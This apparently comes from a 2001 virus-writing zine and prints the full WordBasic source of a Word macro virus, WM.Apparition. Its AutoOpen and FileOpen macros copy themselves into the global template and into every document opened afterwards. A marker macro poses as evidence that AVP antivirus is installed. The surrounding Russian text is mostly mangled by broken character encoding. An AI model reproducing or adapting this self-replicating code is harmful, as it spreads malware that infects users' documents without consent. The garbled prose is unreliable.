
                        =>POWER HEAP RESEARCH<=

             
                                 
                                 
                         

                           
                            
                           
                          

                          [yp pp]

 Hp 4 [2001]
 --------------

                        ppy. p 蠣

  ,  ⥫ y  ppy, y ᮢ⮢
y Visual Basic  Word Basic ( ).     ⮢
py WM.Apparition. y砩   ᢮.

*H砫 p AutoOpen
Sub MAIN
On Error Goto fail
hru = 0
j = CountMacros(0, 0)
For i = 1 To j
 If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
Next i

If hru = 1 Then Goto fail

MsgBox "Gnoi"

MacroCopy FileName$() + ":AutoOpen", "Global:AutoOp"
MacroCopy FileName$() + ":WWUpdated", "Global:WWUpdated"
MacroCopy FileName$() + ":DaniloffMuDaK", "Global:FileOpen"
fail:
End Sub
*



*H砫 p DaniloffMuDaK
Sub MAIN
' this macro loaded in normal template as FileOpen
OurCopyright$ = "Co-Copyright (cc) LordAsd and Stainless Steel Rat"
AVPcopyright$ = "AVP for WinWord v1.0"
DowniloffCopyright$ = "DaniloffMuDaK"
sQuestion$ = "Would you like to "

Dim dlg As FileOpen
On Error Goto fail
GetCurValues dlg
Dialog dlg
FileOpen dlg
MsgBox FileName$()

gnoi = 0
iCountMacros = CountMacros(1, 0, 0)
For i = 1 To iCountMacros
 zu$ = MacroName$(i, 1)
 If zu$ = "WWUpdated" Then gnoi = 1
Next i

If gnoi = 1 Then Goto fail
FileSaveAs FileName$(), .Format = 1
MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"

MsgBox "Suxx"
fail:
End Sub
*



*H砫 p WWUpdated
Sub MAIN
'Presence of AVP for winword
End Sub
*


  H ᨫ   MacroCopy !!!

   ᢮ py  襩 py쭮  !!!

  p 稢. y yp. :-!)

                                                   Helloween